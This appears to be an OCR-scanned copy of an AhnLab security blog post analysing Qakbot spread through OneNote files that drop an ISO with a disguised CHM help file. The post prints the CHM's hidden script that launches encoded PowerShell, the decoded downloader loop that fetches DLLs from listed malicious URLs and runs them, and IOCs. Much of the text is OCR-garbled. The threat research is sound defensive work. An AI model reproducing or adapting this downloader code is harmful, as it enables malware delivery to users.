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AhnLab Security Emergency response Center (ASEC) has covered various distribution methods of Qakbot, and
the method of distributing through OneNote was covered back in February. The distribution of Qakbot through
OneNote has been confirmed again recently, and it was discovered that the Windows Help file (CHM) was used in
this recent attack. https://asec.ahnlab.com/en/47785/ Upon executing the OneNote file, it prompts users to click on
the Open button along with a Microsoft Azure image, as shown below. An ISO file is hidden inside the location of

this button, and once a user clicks the Open button, an ISO file is created in a temp folder and mounted.
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A CHM disguised as a README file exists inside the ISO, prompting users to open it

Guideway.iso - AhnLab V3 Zip 20 [E=EEE ™
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Upon executing the CHM file, a normal help screen regarding network connectivity is displayed, making it
difficult for the user to notice the malicious behavior
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[7] IPva Advanced IP Settings Tab 3 T
[7] IPv4 Advanced WINS Tab

%:2:’:;2’?;}; e | IPv4 Advanced IP Settings Tab

You can use the settings on this tab for this network connection only if
vou are not using the Obtain an IP address automatically on the
General tab.

m

IP addresses lists additional Internet Protocol version 4 (IPv4)
addresses that can be assigned to this network connection. There is no
limit to the number of IP addresses that can be confisured. This setting is
useful if this computer connects to a single physical network but requires
advanced P addressing because of either of the following reasons:

+ A single logical IP network is in use and this computer needs to
use more than one [P address to communicate on that network.

[ = =

The malicious script used without the user’s knowledge is shown below. A malicious and encoded PowerShell
command is executed through CMD. This command is executed through the Click method used similarly by the

existing CHM malware.

<OBJECT 10=x classid="o0lsid:adbBB0ab-ABLI-110£-9577-00aa003b7all” width=1 neight=1>
<PARAM name="Command" "ShortCut">

<PAREM name="Button" Bitmap: :shortcut">

<PAREM name="Iteml" valus=",cmd.exe,/c C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass

~NoLego -NoProfile -encodedcommand
UWBOAGEACGBOACOAUWBSAGUAZQBWACAALOBTAGUAYWBVAGAAZABZACAANAATACQAVOBUAHMAAQR i AHQADAB] AG4AZOBz AHMARGBpAGQAAQB ) AGKAYQBYAGKADABS ACAAPOAGACGA TgBOAHQAIABWA
HMAOGAVACBAbGBhARKAYOBKAGBAZGBVAHUAbGBK AGEAABPAGB AbGATAGBACOBNACSAAWBYAGEASWE tACBAUWBRADIAdWENARQAbWAY ARYAbWBz AG4 ALABOARQAABWARMAOGAVACS AYWEPARQASD

o=

BOAGUAYWEOACD, OBOAGKALWETAHMALGBIAGEADQAVADYATOBOAD! SBNAF. AR CBAL QBUAGMALWATAGAAZOBOACSATWEKAESAVOAVADK
ASQBBAHMAZAB1AGAAY, LABOAHQAC OgAVACBAZWEZAHMAYWEVAHTACABVARTAYQBOAGK kACAAYWEVAGDAL \UWBMAGOALWEYAEEAVGBSAGSAYWBRAGKAWAAS
AGQAJABOAHAACWAGACEALWBLAHIAYwBYAGk AegBXAHUADGBNACAAYWBVAGOALWBMAD CAYWB] AE4ALWBrAHOANQEBAGUANGBaADYALABOAHQ, L0gAVACBAABVAHQATQR AbwBZAGOAZ
OByAHQAbWB2ACAAYWBVAGOALWE \bgAvAHUA2ABPAGQAdwEY AFEACQBI AHoALABOAHQAJABWARMAOGAVACS AYWEhAH TAbABhAGOAAGBVAGCAYOBK AGEAJABY AGKAYgB 1AHQAYOBYAGKAYQAUAG

MAbWB tACBAAAB2AGAACOASACBAAQALAHOAQBIARS AVWASAGGAIABOARAACWAGACEALWE 1 AHT AZWA tAGUAZWATNAGHMADWB tACBALWE I AGOAY gAVAHgAAgBIAGIADOB2 AFMATGADAC AACWBWAGWAR QB
0ACGATgASACTARQATAGYAbWBYAGUAYQBI AGGATAACACOATGRVAGAAdgBVAGKAYWR1 AFUAbGB 3AGgAaQBNAGWAIQBrAGUATABPAGAAT AAKAFUAbGRZAHUAY gROAGWAZOBUAGUACWB ZAEYAaQBKAHUA
YWBpDAGE. OADACY BOAHIA=(, AL QATGBVACAAAGBVACKAYWE L AFUABgB3ACCAAQBNACWARDBrACUAT ARt APQAAQB tACUALWEL AHQAUWBLACMATAAXADYATAALA
ESALAAKAGUAbgB2AD0AVABFAEOAUABCAGEADGBOAGUACABYAGUAZABDAGMAY(B tAGUADGBOAF AAZQBy AHMAZ(B JAHUAAABVAH L AeQANAEQAdOBUAGUACGBZADS AaQBNACAARAACAECAZOBOACOASQ
BOAGUALQAGACQAZQBUAHYAOGBUAEUATOBOAFWAYOBUAHQAZOBWAHT AZOBRAGKAYWBhAGOAZOBUAHQAUABIAHTAcWBLAGMAAOBOAGEBACGBSACAAdABIAGAAZY OBuAGCAJABOACA |
ALQBRAGUAT AAXADAAMAAWADAAMAAPACAAeWBWAGBAAWE 1 AHT AcWBOAGUABABSACAALQBXAGK AbgBk AGB AdWBTABQAQBSAGUAT ABT AGK AZABKAGUABgAGACOARDBAAGUAYWE1 AHQAAQBVAGAAUABY
AGwAaQBIARKATABCAHK WAGACOAT, BnAGBATAAtARAAbWBQAHTAbwBmAGK ADABL ACAALQB1AGAAYWBVAGOAZORKAGMAbWBAGDAYQBuAGOATAAL AGMAAWBCADAAQOBHEARUAQ
B3 AGCAQGAWAERAQWBBAEEAYWRNAR T AM)BBAECANABBAF 0 AQOBCARMANNBHAHCAQOBNAHAQOB5AREAQWBBARRASGEBAE TAbABBAE CANABBAG)AZWBBADYAQNBGAFEAQOBSAFEANGBOAEEARGBEAR
EAWABBAETAaABBAECANABBAGQAQQBCAGWAQOBIAEEAQOB JAGCAL EEAYOBRAET. CARQBBAGIAUQBCAGWAQOBHADOAQOBKAEE, \EEAYWBNAEL 7QB
BAFkAdwBCADEAQQBIAFEAQOBIAHCAD BrAEEATABRAEL JOBBAGLAZWBCAGWAQQBIAEKAQOB JAHCAQNBZAFEAROAWAEEAYGB3AEL UQBBAESAdwBBADDATgATAGIA|
CgB1AGEAawATAHOAFQBIAGEAAAR I AGGATABTAFMAGABhART AdAAtAFMABAB] AGUACAAGACOAUWE 1 AGMAbWBUAGOACWAGADQACWBIAHDA >
<PAREM name="Item2" valus="273,1,1">

</OBJECT>

<SCRIFT>

k. Click() :

</SCRIPT>

The decoded PowerShell command is shown below. The command attempts to download additional malicious
files from multiple URLs and save them to the % TEMP%\antepredicamentPersecutory.tuners path. Seeing how it

is executed through rundll32 afterward, it can be assumed that DLL files are downloaded.

foreach (§NonvoiceUnwhiglike in $UnsubtlenessFiduciarily) {try {wget $NonvoiceUnwhiglike -TimeoutSec ©
lfenv: TEMP\antepredicamentPersecutory. tuners;if ((Get-Item $env:TEMP\antepredicamentPersecutory.tuners).length —ge 100000} {powershell -WindowStyle
Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand

ZABaAGWAMWAVACAAJAE] AG4AdgAGAFQARQBNAFAAKABNAGIAdAB] AHAACOELAGQA

break:}}catch {Start-Sleep -Seconds <:}}

e Download URL hxxps://nayadofoundation[.]org/wXaKm/SQ2wfto2vosn hxxps://citytech-
solutions[.]Jcom/6Mh1k/OJMPf hxxps://zainco[.]net/OdOU/91AsdunbnH
hxxps://gsscorporationltd[.]Jcom/okSfj/rAVykcQiX hxxps://mrcrizqunal.]Jcom/L7ccN/kz5AeBZ6
hxxps://hotellosmirtos[.]Jcom/sjn/uhidwrQ9Hz hxxps://carladvogadatributaria[.]Jcom/tvnq9/i8zZBwKW

hxxps://erg-eg[.]com/ocmb/xvjmmvS
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This command is similar to the command used by the Qakbot that was distributed via PDF back in April. This
download URL is currently unavailable, but internal and external infrastructures showed that the Qakbot binary
had been distributed from the URL when a connection could be made to it. https://asec.ahnlab.com/en/51282/
Recently, the number of malware distribution cases using OneNote has been increasing, and threat actors have
been using various formats of files for their attacks. Users must be careful when opening emails and OneNotes
from unknown sources. AhnLab’s anti-malware product, V3, detects and blocks the malware using the alias
below. [File Detection] Dropper/MSOffice.Generic (2023.04.24.03) Downloader/CHM.Generic (2023.04.24.03)

MD5

2ce926649092b4aab642babed1fe0f191
dffd7026£7508ae69c1b23ebd33ed615

Additional IOCs are available on AhnLab TIP.
URL
https[:]//carladvogadatributaria[.]Jcom/tvnq9/i8zZBwKW
https[:]//citytech-solutions|.]Jcom/6Mh1k/OJMPf
https[:]//erg-eg[.Jcom/ocmb/xvimmvS
https[:]//gsscorporationltd[.Jcom/okSfj/rAVykcQiX
https[:]//hotellosmirtos[.]Jcom/sjn/uhidwrQ9Hz
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnlLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/52067
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